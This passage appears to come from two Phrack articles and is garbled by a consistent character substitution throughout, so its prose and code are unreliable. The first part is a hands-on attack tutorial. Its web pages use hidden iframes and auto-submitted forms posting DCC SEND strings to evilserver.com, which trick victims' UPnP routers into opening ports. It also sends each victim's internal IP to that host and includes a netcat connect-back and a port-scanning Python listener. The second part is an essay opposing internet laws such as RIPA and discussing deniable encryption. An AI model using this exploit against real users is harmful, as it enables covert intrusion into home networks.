1ate3a" 3ill o*en u* the *ort s*ecified in the re:uest, *ro0idin1 <PnP is
ena(led. #he cool thin1 a(out this *rotocol is that no IP address is
s*ecified for the connectin1 IP. #his means that once the re:uest has
taken *lace, a connection from an"3here in the 3orld is com*letel" 0alid.
@e0eral im*lementations of <PnP do not e0en care if the IP address
s*ecified in the 4$$ @/54 command is the same as that of the 0ictim
machine. In this case, the ste*s descri(ed so far are sufficient to o*en a
1a*in1 hole in the 1ate3a" and connect to the 0ictim. &o3e0er in most
cases 3e need to first esta(lish the internal IP address of the 0ictim8s
machine.
%uckil" there is an eas" 3a" to accom*lish this from the 3e(, 3hich 3e
3ill address in the next section.
--[ F.F - Im*lementation s*ecifics - Ia0a
#he easiest 3a" to identif" the local IP of the 0ictim from the 3e( is
to use a Ia0a a**let. )**lets are a(le to create a ne3 @ocket o(9ect and
call the >1et%ocal)ddressCD> method on it to o(tain the local address of
the host Co(0iousl"D.
#he follo3in1 Ia0a code illustrates thisE
@trin1 s = Cne3 @ocketCsF, iDD.1et%ocal)ddressCD.1et&ost)ddressCD[
%uckil" for us, there alread" exists a nicel" *re-*acka1ed Ia0a a**let
called A")ddress [4 3hich does this and can (e do3nloaded strai1ht from
their 3e(site.
#he a**let su**orts a 0ariet" of 3a"s to access the local
IP once it is o(tained. =ne 3a" is to s*ecif" the >ma"scri*t> *arameter
in the a**let ta1[ this causes a 9a0ascri*t function CA")ddressCD ("
defaultD to (e called once the IP is o(tained. #his is useful, as 3e can
effecti0el" (lock until 3e recei0e this neccessar" data.
#he follo3in1 &#A% demonstrates the use of this a**let and the A")ddressCD
call(ack function. )lso Cas mentioned earlier in the 4$$ *rotocol sectionD
as the local IP address must (e entered in >defunct> format, 3e80e
*ro0ided the defunctCD function to translate from decimal format to
defunctE
Ra**let code=>A")ddress.class> name=>m"address>
ma"scri*t 3idth=>0> hei1ht=>0>SRWa**letS
Rscri*tS
RP--
0ar i* = null[
function A")ddressCiD Ui* = defunctCiD[ doe0ilCD[V
function defunctCsi*D U
ifCsi* == nullD return 0[
si* Y= 88[ WW [C make sure it8s a strin1
0ar di* = 0[
0ar a = si*.s*litC>.>D[
0ar l = a.len1th[
forC0ar i=0[ iRl[ iYYD
di* Y= a[l-i-1OAath.*o3CF.-,iD[
return di*[
V
--S
RWscri*tS
--[ F.H - Im*lementation s*ecificsE &#A%
5o3 that 3e can create a *ro*er 4$$ send strin1, the next *ro(lem
to o0ercome is ho3 to force the client to unkno3in1l" send the
enca*sulated strin1 to a malicious ser0er, there(" trickin1 their
1ate3a" into for3ardin1 a *ort 3e s*ecif". &#A% forms su(mitted
automaticall" 0ia 9a0ascri*t are hi1hl" useful for this.
@ince the 4$$ strin1 Cand man" other *rotocols "ou mi1ht choose
to use 3ith this techni:ueD re:uire multi*le lines of communication
to tri11er the <PnP 5)# tra0ersal features, 3e set the >enct"*e>
attri(ute to >multi*artWform-data>. #his allo3s the re:uired
carria1e return and ne3 line characters to (e su(mitted 0ia a
form field.
#he follo3in1 form ta1 sho3s ho3 to s*ecif" the enct"*eE
Rform
id=>e0ilform>
name=>e0ilform>
action=>htt*EWWe0ilser0er.comE---JW>
method=>*ost>
enct"*e=>multi*artWform-data>
S
In order to automate the su(mission of our 4$$ strin1 C*a"loadD,
3e use 9a0ascri*t to su(mit the form Cafter the internal IP address
is o(tainedD 0ia the form su(mitCD method as follo3sE
function doe0ilCi*, *ortD U
0ar frm = document.forms[8e0ilform8[
ifCfrm == nullD return[
frm.*a"load.0alue = unesca*eC>^01>D
Y >4$$ @/54 e0il.txt > Y i* Y > > Y *ort Y
Y unesca*eC>^01^0a^0d>D[
tr" U frm.su(mitCD[ V catchCerrD U return[ V
V
)s "ou can see 3e80e used 9a0ascri*t to craft the *a"load strin1,
(ecause of the neccessar" Cde*endin1 of 1ate3a" im*lementationD
carria1e return and ne3line characters.
#he follo3in1 &#A% code demonstrates the code so far, includin1
the use of the A")ddress a**let mentioned in the *re0ious sectionE
RhtmlS
RheadS
RtitleSC<ntitledDRWtitleS
Ra**let code=>A")ddress.class> name=>m"address>
ma"scri*t 3idth=>0> hei1ht=>0>SRWa**letS
Rscri*tS
RP--
0ar *ort = 1HHJ[
function A")ddressCiD Ui* = defunctCiD[ doe0ilCi*, *ortD[V
function defunctCsi*D U
ifCsi* == nullD return 0[
si* Y= 88[ WW [C make sure it8s a strin1
0ar di* = 0[
0ar a = si*.s*litC>.>D[
0ar l = a.len1th[
forC0ar i=0[ iRl[ iYYD
di* Y= a[l-i-1OAath.*o3CF.-,iD[
return di*[
V
function doe0ilCi*, *ortD U
0ar frm = document.forms[8e0ilform8[
ifCfrm == nullD return[
frm.*a"load.0alue = unesca*eC>^01>D
Y >4$$ @/54 e0il.txt > Y i* Y > > Y *ort Y
Y unesca*eC>^01^0a^0d>D[
tr" U frm.su(mitCD[ V catchCerrD U return[ V
V
--S
RWscri*tS
RWheadS
R(od"S
Rform
id=>e0ilform>
name=>e0ilform>
action=>htt*EWWe0ilser0er.comE---JW>
method=>*ost>
enct"*e=>multi*artWform-data>
S
Rin*ut t"*e=>in*ut> id=>*a"load>
name=>*a"load> 0alue=>null>S
RWformS
RW(od"S
RWhtmlS
!" sim*l" (indin1 netcat to *ort ---J of e0ilser0er.com, this
code is enou1h to manuall" connect (ack to the *ort >*ort> once
a 0ictim has 0ie3ed this 3e( *a1e, as the follo3in1 sni**et
demonstratesE
-[maxQe0ilser0erEZWsim*leN nc -l* ---J
P=@# W &##PW1.1
&ostE e0ilser0er.comE---J
<ser-)1entE AoBillaW..0 CAacintosh[ <[ Intel Aac =@ G[ en-<@[ r0E1.K.1.1HD
6eckoWF00K0H11 ;irefoxWF.0.0.1H
)cce*tE textWxml,a**licationWxml,a**licationWxhtmlYxml,textWhtml[:=0.L,
textW*lain[:=0.K,ima1eW*n1,OWO[:=0..
)cce*t-%an1ua1eE en-us,en[:=0..
)cce*t-/ncodin1E 1Bi*,deflate
)cce*t-$harsetE I@=-KK.L-1,utf-K[:=0.J,O[:=0.J
,ee*-)li0eE H00
$onnectionE kee*-ali0e
+efererE htt*EWWe0ilser0er.comWsim*letest.html
$ontent-#"*eE multi*artWform-data[ (oundar"=---------------------------
1-F1.1L4--1H101K4-HFF1FHFJJHHH
$ontent-%en1thE F1H
-----------------------------1-F1.1L4--1H101K4-HFF1FHFJJHHH
$ontent-4is*ositionE form-data[ name=>*a"load>
4$$ @/54 e0il.txt 1-L0L0-0 1HHJ5a5
-----------------------------1-F1.1L4--1H101K4-HFF1FHFJJHHH--
7ou can see that a 0ictim has connected to our 3e(*a1e Csim*letest.htmlD
and that the *a1e has automaticall" su(mitted our 4$$ @/54 send strin1.
<sin1 netcat a1ain, 3e can connect (ack to the i* and *ort a(o0e Cusin1
the defunct format 3orks fine 3ith ncDE
-[maxQe0ilser0erEZWsim*leN nc 1-L0L0-0 1HHJ
muahahaha
3hat are "ou doin1 here2P
&ere8s 3hat it looks like from the 0ictim8s endE
-[0ictimQXXEZN nc -l* 1HHJ
muahahaha
3hat are "ou doin1 here2P
=(0iousl" there are some si1nificant dra3(acks to usin1 this
sim*lified exam*le...3ho 3ants to sit and manuall" monitor
their connections and then manuall" connect (ack to 0ictims2
'hat if "ou 3ant to connect to multi*le *orts2 'on8t it kinda
ti* the 0ictim off Cor at least (ore them mi1htil"D if there8s
nothin1 (ut a dod1" *a1e for them to look at2 &o3 a(out somethin1
interestin12 %ike ma"(e an article....
#he to*ic of the listenin1 and connect (ack mechanism is addressed
in the next section of this cha*ter. #he content *ro(lem and the
a(ilit" to for3ard multi*le *orts *er 0isit are addressed (" creatin1
an additional *a1e Ce0il.htmlD that contains t3o &#A% iframes, one hidden
and one 0isi(le. 'hile the 0ictim is distracted (" content in the
0isi(le iframe C1oodframeD, the hidden iframe Ce0ilframeD
loads the second *a1e Ce0ilform.htmlD in order to *ost Cas man" times
as desiredD to e0ilser0er.
#he code mi1ht look somethin1 like this Cnote that 3e kee* the
A")ddress code in e0il.html[ there8s no sense in loadin1 it multi*le
timesDE
e0il.htmlE
RhtmlS
RheadS
RtitleSC<ntitledDRWtitleS
Ra**let code=>A")ddress.class> name=>m"address>
ma"scri*t 3idth=>0> hei1ht=>0>SRWa**letS
Rscri*t t"*e=>textW9a0ascri*t>S
RP--
0ar *orts = [1H.,1HJ,1HK,1HL,FF,1HHJ[
0ar *ort = null[
0ar i* = null[
function A")ddressCiD Ui* = defunctCiD[ o*en*ortsCD[V
function defunctCsi*D U
ifCsi* == nullD return 0[
si* Y= 88[ WW [C make sure it8s a strin1
0ar di* = 0[
0ar a = si*.s*litC>.>D[
0ar l = a.len1th[
forC0ar i=0[ iRl[ iYYD
di* Y= a[l-i-1OAath.*o3CF.-,iD[
return di*[
V
function o*en*ortsCD U
ifCP*orts || Pi*D return[
forC*ort in *ortsD
document.1et/lement!"IdC8e0ilframe8D.src = 8e0ilform.html8[
V
--S
RWscri*tS
RWheadS
R(od" st"le=>*addin1E 0*x[ (orderEnone[ mar1inE0*x[>S
Riframe name=>e0ilframe> id=>e0ilframe> src=>>
3idth=>0> hei1ht=>0> frame(order=>0>SRWiframeS
Riframe name=>1oodframe> id=>1oodframe>
src=>htt*EWW1oo1le.com> 3idth=>100^> hei1ht=>100^>
frame(order=>0>S
RWiframeS
RW(od"S
RWhtmlS
<*on load, e0ilform.html 3ill access e0il.html8s Cits *arent8sD 0aria(les
>*ort> and >i*> to craft the *a"load 4$$ strin1 and then *ostE
e0ilform.htmlE
RhtmlS
RheadS
RtitleSC<ntitledDRWtitleS
RWheadS
Rscri*tS
RP--
function doe0ilCi*, *ortD U
0ar frm = document.forms[8e0ilform8[
ifCi* == null || *ort == null || frm == nullD return[
frm.internal?i*.0alue = 8internal?i*E8Yi*[
frm.internal?*ort.0alue = 8internal?*ortE8Y*ort[
frm.*a"load.0alue = unesca*eC>^01>D
Y >4$$ @/54 e0il.txt > Y i* Y > > Y *ort Y
Y unesca*eC>^01^0a^0d>D[[
3indo3.*arent.form*ostin1CD[
tr" U frm.su(mitCD[ V catchCerrD U return[ V
V
--S
RWscri*tS
R(od" onload=>doe0ilC3indo3.*arent.i*, 3indo3.*arent.*ortD>S
Rform
id=>e0ilform>
name=>e0ilform>
action=>htt*EWWe0ilser0er.comE---JW>
method=>*ost>
enct"*e=>multi*artWform-data>
S
Rin*ut t"*e=>in*ut> id=>*a"load> name=>*a"load> 0alue=>null>S
Rin*ut t"*e=>in*ut> id=>internal?i*> name=>internal?i*> 0alue=>null>S
Rin*ut t"*e=>in*ut> id=>internal?*ort> name=>internal?*ort> 0alue=>null>S
RWformS
RW(od"S
RWhtmlS

5ote that e0ilform.html is no3 also settin1 t3o additional form 0aria(les
C3ith some ta1s to make them easier to re1ex out laterD so that the
listener can note 3hat the internal *ort and IP of the 0ictim are. @ince
these 0aria(les aren8t 3ithin a *rotocol strin1 Clike the 4$$ send strin1D
the 1ate3a" 3ill not re*lace them 3ith the external 0alues.
<nfortunatel", ho3e0er, the code a(o0e introduces a race conditionE "ou
can8t (e assured that e0ilform.html has had enou1h time to load and *ost
(efore it 1ets reloaded. 'e ori1inall" ex*ected that this could (e
remedied if the ser0ice listenin1 on ---J of e0ilser0er.com re*lied 3ith a
*a1e that in0oked a call(ack function in the *arent *a1e in the follo3in1
mannerE
Rscri*tS3indo3.*arent.imdoneCD[RWscri*tS
<nfortunatel", modern (ro3sers 3ill limit access to data across iframes if
the source *a1e8s scheme, domain, or *ort is different. !ecause our *ost
is neccessaril" to a different *ort C---J 0s K0D, the a(o0e code 3ill
al3a"s 1enerate an exce*tion.
=ur solution 3as to miti1ate the issue (" *uttin1 in enou1h dela" after
e0ilform.html (e1ins loadin1 as to (e reasona(l" assured that the *a1e
has com*leted it8s automatic *ostin1 (efore reloadin1 it. @ince 9a0ascri*t
has no slee*CD function Cthat 3e could findD, 3e used
3indo3.set#imeoutCfn, tDE
e0il.htmlE
...
function A")ddressCiD Ui* = defunctCiD[ o*ennext*ortCD[V
...
function form*ostin1CD U
3indo3.set#imeoutC8o*ennext*ortCD8, 1000D
V
function o*ennext*ortCD U
ifCP*orts || c* R 0 || c* S *orts.len1thD return[
*ort = *orts[c*YY[
document.1et/lement!"IdC8e0ilframe8D.src = 8e0ilform.html8[
V
...
e0ilform.htmlE
...
function doe0ilCi*, *ortD U
0ar frm = document.forms[8e0ilform8[
ifCi* == null || *ort == null || frm == nullD return[
frm.internal?i*.0alue = 8internal?i*E8Yi*[
frm.internal?*ort.0alue = 8internal?*ortE8Y*ort[
frm.*a"load.0alue = unesca*eC>^01>D
Y >4$$ @/54 e0il.txt > Y i* Y > > Y *ort Y
Y unesca*eC>^01^0a^0d>D[[
3indo3.*arent.form*ostin1CD[
tr" U frm.su(mitCD[ V catchCerrD U return[ V
V
...
=ne cosmetic issue remains 3ith our codeE the title of e0il.html 3ill not
match that of our (ait *a1e. If the (ait *a1e is hosted 0ia the same
scheme on the same domain and *ort as e0il.html, then this can (e easil"
remedied 3ith this code sni**etE
function settitleCD U document.title =
3indo3.frames[81oodframe8.document.title[ V
...
R(od" onload=>settitleCD>S
&o3e0er, as *re0iousl" mentioned, if the (ait *a1e is hosted on a
different ser0er or usin1 a different scheme, accessin1 1oodframe8s
document title 3ould cause an exce*tion to (e raised. In either case,
if the 0ictim 3ere to follo3 an internal link, the title 3ould (ecome
outdated. =ur solution 3as to 3ra* the assi1nment in a tr" W catch (lock
and to set a timeout to call settitle a1ain in H.0 millisecondsE
function settitleCD U
tr"U document.title = 3indo3.frames[81oodframe8.document.title[V
catchCerrD Ureturn[V
3indo3.set#imeoutC8settitleCD8, H.0D[
V
!elo3 is the final codeE
e0il.htmlE
RP-- e0il.html --S
RhtmlS
RheadS
RtitleSC<ntitledDRWtitleS
Ra**let code=>A")ddress.class> name=>m"address>
ma"scri*t 3idth=>0> hei1ht=>0>SRWa**letS
Rscri*t t"*e=>textW9a0ascri*t>S
RP--
0ar i* = null[
0ar *ort = null[
0ar *orts = [1H.,1HJ,1HK,1HL,FF,1HHJ[
0ar c* = 0[
function A")ddressCiD Ui* = defunctCiD[ o*ennext*ortCD[V
function settitleCD U
tr"U document.title = 3indo3.frames[81oodframe8.document.title[V
catchCerrD Ureturn[V
3indo3.set#imeoutC8settitleCD8, H.0D[
V
function defunctCsi*D U
ifCsi* == nullD return 0[
si* Y= 88[ WW [C make sure it8s a strin1
0ar di* = 0[
0ar a = si*.s*litC>.>D[
0ar l = a.len1th[
forC0ar i=0[ iRl[ iYYD
di* Y= a[l-i-1OAath.*o3CF.-,iD[
return di*[
V
function form*ostin1CD U
3indo3.set#imeoutC8o*ennext*ortCD8, 1000D
V
function o*ennext*ortCD U
ifCP*orts || c* R 0 || c* S *orts.len1thD return[
*ort = *orts[c*YY[
document.1et/lement!"IdC8e0ilframe8D.src = 8e0ilform.html8[
V
--S
RWscri*tS
RWheadS
R(od" onload=>settitleCD> st"le=>*addin1E 0*x[ (orderEnone[ mar1inE0*x[>S
Riframe name=>e0ilframe> id=>e0ilframe> src=>>
3idth=>0> hei1ht=>0> frame(order=>0>SRWiframeS
Riframe name=>1oodframe> id=>1oodframe> src=>htt*EWW1oo1le.com>
3idth=>100^> hei1ht=>100^> frame(order=>0>SRWiframeS
RW(od"S
RWhtmlS
e0ilform.htmlE
RhtmlS
RheadS
RtitleSC<ntitledDRWtitleS
RWheadS
Rscri*tS
RP--
function doe0ilCi*, *ortD U
0ar frm = document.forms[8e0ilform8[
ifCi* == null || *ort == null || frm == nullD return[
frm.internal?i*.0alue = 8internal?i*E8Yi*[
frm.internal?*ort.0alue = 8internal?*ortE8Y*ort[
frm.*a"load.0alue = unesca*eC>^01>D
Y >4$$ @/54 e0il.txt > Y i* Y > > Y *ort Y
Y unesca*eC>^01^0a^0d>D[[
3indo3.*arent.form*ostin1CD[
tr" U frm.su(mitCD[ V catchCerrD U return[ V
V
--S
RWscri*tS
R(od" onload=>doe0ilC3indo3.*arent.i*, 3indo3.*arent.*ortD>S
Rform
id=>e0ilform>
name=>e0ilform>
action=>htt*EWWe0ilser0er.comE---JW>
method=>*ost>
enct"*e=>multi*artWform-data>
S
Rin*ut t"*e=>in*ut> id=>internal?i*> name=>internal?i*> 0alue=>null>S
Rin*ut t"*e=>in*ut> id=>internal?*ort> name=>internal?*ort> 0alue=>null>S
Rin*ut t"*e=>in*ut> id=>*a"load> name=>*a"load> 0alue=>null>S
RWformS
RW(od"S
RWhtmlS
Voila. 5o3 "ou ha0e a cou*le of *a1es that can (e used
to o*en *orts for connectin1 to (oxes that are 5)#8d
(ehind <PnP ena(led routers. #he section (elo3 details the
final com*onent of our im*lementationE the listener.
--[ F.4 - Im*lementation s*ecificsE %istener
Possi(l" the most tri0ial com*onent of our im*lementation is
the listener. #his ser0ice 3ill sit on e0ilser0er.com and
listen on the *ort of choice C---J for I+$W4$$ and our code
a(o0eD.
'hen the 0ictim (ro3ses to e0il.html and inad0ertantl" *osts
0ia e0ilform.html, the listener is res*onsi(le for recei0in1
the connection. #his can tri0iall" (e im*lemented in *"thon
usin1 the >@ocket@er0er> module. ) small exam*le of this is
as follo3sE
class +e:uest&andlerC@ocket@er0er.@tream+e:uest&andlerDE
def handleCselfDE
3hileC#rueDE
tr"E
line = self.rfile.readlineCD
exce*tE
return
...
# (e1in listenin1 for ne3 connections.
tc*ser0er = @ocket@er0er.#$P@er0erCC8localhost8, *ortD,+e:uest&andlerD
tc*ser0er.ser0e?fore0erCD
#he im*lementation of the listener *ro0ided 3ith this *a*er 3ill also
attem*t to connect (ack to the 0ictim throu1h their 1ate3a", effecti0el"
*ort scannin1 the 0ictim, (ehind the 5)#.
&ere is the code to do thisE
def scanCself, i*, *ortDE
sock = socket.socketCD
sock.settimeoutC1D
ret = sock.connect?exCCi*,intC*ortDDD == 0
sock.closeCD
return ret
#he code for the listener C3hiskers.*"D can (e 1enerated 3ith the scri*t
that is included in section )**endix ).
#he out*ut of 3hiskers is as follo3sE
-[maxQe0ilser0erEZN *"thon 3hiskers.*"
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
@at, 1F )*r F00K 01E1HE1J 6A#E @tartin1 ser0er....
@at, 1F )*r F00K 01E1HE1J 6A#E @er0er startedE 1.F.H.1HHJ listenin1 on ---J
@at, 1F )*r F00K 01E1HEHL 6A#E [Y =*ened hole for *ortE 1H. on i*E 1.F.H.4
@at, 1F )*r F00K 01E1HEHL 6A#E [Y ---- Internal *ortE 1H. on i*E
1LF.1-K.0.100 - closed.
@at, 1F )*r F00K 01E1HE40 6A#E [Y =*ened hole for *ortE 1HJ on i*E 1.F.H.4
@at, 1F )*r F00K 01E1HE40 6A#E [Y ---- Internal *ortE 1HJ on i*E
1LF.1-K.0.100 - closed.
@at, 1F )*r F00K 01E1HE4F 6A#E [Y =*ened hole for *ortE 1HK on i*E 1.F.H.4
@at, 1F )*r F00K 01E1HE4F 6A#E [Y ---- Internal *ortE 1HK on i*E
1LF.1-K.0.100 - closed.
@at, 1F )*r F00K 01E1HE4H 6A#E [Y =*ened hole for *ortE 1HL on i*E 1.F.H.4
@at, 1F )*r F00K 01E1HE44 6A#E [Y ---- Internal *ortE 1HL on i*E
1LF.1-K.0.100 - closed.
@at, 1F )*r F00K 01E1HE4. 6A#E [Y =*ened hole for *ortE FF on i*E 1.F.H.4
@at, 1F )*r F00K 01E1HE4. 6A#E [Y ---- Internal *ortE FF on i*E
1LF.1-K.0.100 - o*en.
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--[ 4 - +eferences
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--[ . - )**endix )E @ource code
#he source code used in this *a*er 3as 3ritten (" arachne.
'e reall" a**reciate her 3ork on this *ro9ect.
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M;[R]S]]]
]
end
==Phrack Inc.==
Volume 0x0c, Issue 0x41, Phile #0x0- of 0x0f
|=-----------------------------------------------------------------------=|
|=--------=[ #he onl" la3s on the Internet are assem(l" and +;$s =------=|
|=-----------------------------------------------------------------------=|
|=-------------------=[ !" 9uliaQ3instonsmith.info =--------------------=|
|=-----------------------------------------------------------------------=|
------[ Index
0 - startin1 *oint, our 3orld and the Internet
1 - 'hat8s an incoherent la3 2
F - 4//P ;=$<@, )54 +/)% #)+6/#E +IP) III
H - /lettra
4 - #&/ )5=57A=<@ I4/5#I#7E 9uliaQ3instonsmith.info
. - +/;/+/5$/@

------[ 0. startin1 *oint, our 3orld and the Internet
F00KE 4urin1 the *ast 10 "ears the Internet accrued its 0alue in a 3a" that
3as not *redicta(le. ) lot of *la"ers are tr"in1 to 1ain *o3er o0er itE
recordin1 and cinema industries, 1o0ernments, soft3are 0endors.
/i1ht, ten "ears a1o our feelin1 3ith the net 3as hackin1 *leasure[ no3,
the hackin1 techni:ues are rec"cled (" securit" 0endors for their securit"
ser0ices. =nce the diffusion of a crack 3as *roof of 0alue, no3 it onl"
re*resents the risk to (e (usted. ) lot has chan1ed and for someone this
is the o**ortunit" to reconsider and e0entuall" chan1e (oth his 3a"s of
actin1 and his *riorities.
#he s*irit has chan1edE ma" the ener1ies (e readdressed2
Is there s*ace for fun, still, and 3here2
#he 1ame no3 is hard. #he tools in our hands ha0e chan1ed and threats are
much more realistic. &ackin1 is a 1ame, (ut no3 the risk le0el has to
(e carefull" taken into consideration to *rotect oursel0es and the
*eo*le near us, to a0oid 9ail or (ein1 ex*loited.
Aedia industr", *olitical entities and 0endors are tr"in1 e0er" *ossi(ilit"
to set foot 3here the" can ha0e e0en a minimum of control o0er users. #his
is (ecause control, e0en if onl" *artial, means *o3er.
'e can en0ision ho3 the Internet, its o*eratin1 s"stems and soft3ares
o*erate. 'e clearl" kno3 3hat is 1oin1 on, and 3h" it 3orks in that
s*ecific 3a" and not other3ise.
#hose 3ho are tr"in1 to 1et their hands on the net3ork and on the Internet
users often Cand fortunatel"D do not ha0e the skills necessar" to
understand the conce*ts on 3hich the net3ork is (ased. #he fact that the
internet societ" is (ased on technical rules (efore that on moral ones is
someho3 less natural for us to (elie0e.
@o it ha**ens that com*uters and the Internet are su(9ect to le1islation,
control and 1o0ernmental (ased restriction, 3hilst the Internet and
com*uters are (" definition the same all o0er the 3orld and the Internet is
made (" all users e:uall".
'hether it s*eaks of com*uters, hard dri0es, forensic anal"sis, censorshi*
or 3ireta**in1, items are al3a"s the same.
'e can still understand this, 3hile the *oliticians are on a0era1e .0 "ears
old and s*ent more or less H0 of those "ears in the *olitical career.
Information technolo1" has (een de0elo*ed seriousl" in recent 1. "ears, so
it is normal that *oliticians do not understand an"thin1 of I# matters.
=ther than that, 3e see that *olitical choices must en9o" the su**ort of
the *eo*le, (ut *eo*le ha0e not a (etter com*rehension of I# matters than
*oliticians. #his ex*lains 3h" no one has "et seen a la3 makin1 some real
sense from a technolo1ical *oint of 0ie3 and "et achie0in1 its *ur*oses
C3hich usuall" consists of an increased sense of securit"D.
'e think that 3e are the ones 3ho can demonstrate that the Internet follo3s
different la3s. #hat8s (ecause 3e are the 1eneration (orn 3ith the Internet
and 3e are a(le to s*eak internet lan1ua1e enthusiasticall".
'e, as de0elo*ers, can not 3rite la3s nor directl" challen1e them, (ut 3e
can de0elo* soft3are demonstratin1 from a *ractical *oint of 0ie3 ho3 3ron1
these la3s are.
It seems to us that this is the most effecti0e and less *ainful 3a" to sho3
*oliticians their mistakes and 1i0e citiBens their freedom, ruled on the
Internet (" mathematical lo1ics.
It is told (" the &acker AanifestoE
>I made a disco0er" toda". I found a com*uter. 'ait a second, this is cool.
It does 3hat I 3ant it to. If it makes a mistake, it8s (ecause I scre3ed
it u*. 5ot (ecause it doesn8t like me... =r feels threatened (" me... =r
thinks I8m a smart ass... =r doesn8t like teachin1 and shouldn8t (e
here...>
Aentor8s ideas in the 1LK-, and our ideas since then, are the same for all
the Internet users e0en no3. If this freedom of actin1 is distur(in1 to
someone, it8s our dut" to remem(er that this freedom cannot (e erased.
#he incenti0es to hack ha0e chan1ed, ex*osure ma" ha0e (ecome uncomforta(le
...so an anon"mous identit" risesE 9uliaQ3instonsmith.info, dedicated to
the s*read of soft3are 3ritten to demonstrate the inconsistenc" of la3s
to control and limit users and the Internet.
------[ 1. 'hat8s an incoherent la3 2
)s the tendenc" to create inade:uate la3s is increasin1, for 3hat concerns
the control of the internet and its users, 3e felt the need to :uestion
this modus o*erandi.
#he 1oal is to create soft3are desi1ned to demonstrate that most la3s that
restrict and control the Internet are inade:uate Cunnecessar",
counter*roducti0e and risk"D.
7ou, more than an" other communit", ha0e the chance to demonstrate that
an" la3 tr"in1 toE
- re1ulate the Internet or com*uter use from a 1o0ernmental *oint of 0ie3
- control users communications C(" filterin1 and limitin1 themD
are not enforcea(le from a scientific *oint of 0ie3, (ecause the" are mere
trans*osition of real life la3s on the di1ital dimension.
In 1eneral, our line of action can rel" on this lo1icE
- ) la3 is *romul1ated Cdata retention, search *rofilin1, for(idden
*u(lishin1...D
- 'e anal"Be t3o as*ectsE
1D the lo1ical structure of the la3, in order to understand its
(ases
FD the technical im*lementation of the la3
- ;rom C1D 3e can see and de0elo* ideas not considered
- ;rom CFD 3e can de0elo* technical solutions
- #he ne3s that the la3 is a failure has to (e s*read. In fact, our
kno3led1e has no im*act on *olitics, the audience and the users
information if it remains in our hands.
=ne exam*le of la3-re0ersin1-and-attack could (eE
1D &uman sideE ) state de*lo"s a la3 that for(ids s*eakin1 a(out
cr"*to1ra*h"
FD #ech sideE (ein1 the domain o3ner of a 3e(site s*eakin1 of cr"*to1ra*h"
lands "ou in 9ail.
HD #ech im*lementationE once the *olice is notified of the existence of a
ser0er inside countr" (oundaries ser0in1 for(idden content, an email is
sent askin1 to remo0e the *a1es, or in a short time the domain o3ner
3ill (e (usted and the ser0er un*lu11ed.
human countermeasureE
1aD Ai1rate to a free (lo1W3e(site outside "our countr".
hacker countermeasureE
1aD <se a #=+ hidden ser0ice, reacha(le throu1h the Internet 3ith a *rox"
in another countr" [1
1(D <se a ;ree5/# 3e(site [F
1cD Post "our content 3ith an anon"mous remailer to a mailin1 list [H
1dD Pu(lish "our contents 0ia *eer to *eer net3ork usin1 a di1ital
si1nature for trusted do3nload, 3ith the first node *u(lishin1 the data
outside the countr".
1eD <se a self decr"*tion 9a0ascri*t site, ca*a(le to *rotect session
la"er and cuttin1 off cra3lers that don8t su**ort 9a0ascri*t
C-S o*en source intelli1ence tooD, in some free-(lo1 outside our
countr". [4
1fD ) distri(uted ser0er like >*ro9ect +O> from >)utisticiWIn0entati> [..
11D <se one of the other infinite solutions, (ecause 3e should mo0e
oursel0es amon1 the +;$s, s*readin1 soft3are automaticall" and al3a"s
find ne3 3a"s to ("*ass the la3 descri*tion.
#he Internet for the mere users is onl" >the 3e(>, 3hilst 3e ha0e more
*ossi(ilities. !ut 3e fail to kee* our ser0ers online, or to *u(lish our
information 3ithout *ro(lems, (ecause 3e are not usin1 the (est solutions
in stron1 encr"*tion and net3ork distri(ution.
------[ F. 4//P ;=$<@, )54 +/)% #)+6/#E +IP) III

+IP) Cin0esti1ation of electronic data *rotected (" encr"*tion - *o3er to
re:uire disclosure, [-D.
In *ractical terms, it is the *ossi(ilit" for an <, in0esti1ator to
re:uest the *ass3ord *rotectin1 an encr"*ted fileE in case of refusal or
im*ossi(ilit" to 1i0e the *ass3ord, the user it is *unisha(le 3ith u* to
t3o "ears8 im*risonment.
$om*arin1 this 3ith the real life, it is the e:ui0alent of a la3 re:uirin1
a sus*ect to o*en his safe to in0esti1ators. !ut com*uters and the Internet
mo0e on other schemes.
In addition, this la3 is s*ecificall" makin1 the <, less secure.
%et8s see 3h"E
- ) *erson *ossessin1 an encr"*ted archi0e containin1 secrets *otentiall"
incriminatin1 for a more than F "ears *unishment 3ill acce*t the F "ears
im*risonment instead of re0ealin1 the *ass3ord.
- #he one 3hose encr"*ted archi0e doesn8t contain secrets incriminatin1,
(ut sensiti0e *olitical, *ersonal information, 3ill 1i0e them to *olice
Cor, more often, to *ri0ate consultants that *racticall" *roceed 3ith the
forensic examinationD.
- #heoretical securit" is not achie0ed (" dele1atin1 the *o3er to control
to an institution, (ecause if this is corru*ted it 3ould (ecome the
1ate3a" for an" sort of a(use. #heoretical securit" can (e achie0ed ("
*re0entin1 future crime, not (" a**l"in1 controls in order to act as a
deterrent.
;ollo3in1 the lo1ic *resented in the *oint F of this document, a safer 3a"
to a0oid +IP)-III is to use a more so*histicated 3a" of *rotection.
/ncr"*tion models use to define actors C)lice M !o(D and scenarios C3ith
Aallor", /0e and the ;amil" of )ttackD. #he encr"*tion model re:uired to
hide the data, and the *resence of encr"*ted data, is ste1ano1ra*h" [J.
In our scenario it is enou1h to demonstrate the a(sence of encr"*ted data,
and cr"*to1ra*h" offerin1 a >*lausi(le denia(ilit"> is our solution.
4enia(le cr"*to1ra*h" allo3s a user to *rotect his data (" *lausi(l" den"
existence of hidden data inside an encr"*ted file. #his kind of *rotection
is 0er" useful 3hen the user is com*elled to 1i0e u* the *ass3ord ("
0iolent or intimidatin1 methods [K. 4ifferent forms of denia(le
cr"*to1ra*h" are currentl" usedE
- #rue$r"*t [L im*lements full disk encr"*tion. #he ima1e of a second
encr"*ted disk is hidden inside free sectors of a container files"stem.
@ince a #rue$r"*t disk is first filled 3ith random data, it is not
*ossi(le to differentiate (et3een free sectors 3ith random data on them
and sectors 3ith encr"*ted data of the hidden 0olume. )s a conse:uence of
this, the #rue$r"*t user can *lausi(l" den" existence of the hidden disk.
- =#+ C=ff-the-+ecord messa1in1D [10 is a cr"*to1ra*hic *rotocol that
*ro0ides stron1 encr"*tion for instant messa1in1. )fter authenticatin1
the user C0ia ke" fin1er*rint com*arisonD it encr"*ts messa1es 3ithout
checkin1 their di1ital si1natures. #his lack of inte1rit" check allo3s
the sender of a messa1e to *lausi(l" den" sendin1 that messa1e since an"
other user could ha0e (een the sender.
